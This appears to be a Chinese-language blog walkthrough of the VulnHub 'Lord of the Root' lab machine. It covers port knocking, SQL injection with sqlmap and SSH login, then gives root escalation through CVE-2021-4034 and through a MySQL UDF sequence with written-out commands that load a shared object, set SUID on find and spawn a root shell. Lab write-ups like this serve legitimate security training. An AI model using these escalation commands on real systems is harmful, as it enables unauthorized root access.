vulnhub-LordOfTheRoot

https://www.vulnhub.com/entry/lord-of-the-root-101,129/

本机 10.0.2.4
靶机 10.0.2.15

靶机是桌面版ubuntu,提示了登录用户名 smeagol

namp扫描,发现只有22端口开放。使用ssh连接,发现:

端口敲震

根据提示,使用端口敲震:knock 10.0.2.15 1 2 3。再用扫描器扫描,发现打开了1337 端口

访问首页,发现什么都没有。然后将用户名作为路径访问

得到 THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh ,base64解码得 Lzk3ODM0NTIxMC9pbmRleC5waHA= ,再解码得 /978345210/index.php

无法通过这个登录框枚举用户名

sql注入

使用slqmap爆破,得到数据库 Webapp 表 User

使用 smeagol:MyPreciousR00t 登录后web界面发现没有信息。使用其可登录ssh

登陆后查看信息

提权 cve-2021-4034

使用 cve-2021-4034 直接提权至root

CVE-2021-4034 polkit(pkexec)提权漏洞复现 - 腾讯云开发者社区-腾讯云 (tencent.com)

http://cloud.tencent.com/developer/article/1945253

udf 提权

mysql以root用户身份启动

获得mysql密码

mysql -uroot -pdarkshadow 登录mysql,发现可以udf提权

在kali找到udf.so

上传至靶机 scp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so  scp://smeagol@10.0.2.15//home/smeagol/udf.so
这个so文件有两个可以用于执行shell命令的函数

# 通过将so文件写入数据库中,再写入mysql的插件目录
use mysql;
create table udf(udf longblob);
insert into udf values  (load_file('/home/smeagol/udf.so'));
select * from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';
# 创建自定义函数(user defined function)
# 此处sys_exec由so文件提供,不同so文件应使用相对应的函数名。
# 此处还可以使用`sys_eval`,有的so文件应使用 `do_system`
create function sys_exec returns string soname 'udf.so'; 
select * from mysql.func;
select sys_exec('chmod u+s /usr/bin/find');
find / -exec '/bin/sh' \;

 

 

进入root目录,发现 Flag.txt 文件。

还有一个switcher.py,其是随机交互三个文件的位置

#!/usr/bin/python
import os
from random import randint

targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
   os.system("rm "+t+"*")
   os.system("cp -p other "+t)
   os.system("cp -p "+t+"other "+t+"file")
   os.system("rm "+t+"other")

luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")

查看文件发现:

原来本意是让我们使用缓冲区溢出提权

PWN

 

posted @ 2022-12-22 20:29  某某人8265  阅读(23)  评论(0编辑  收藏  举报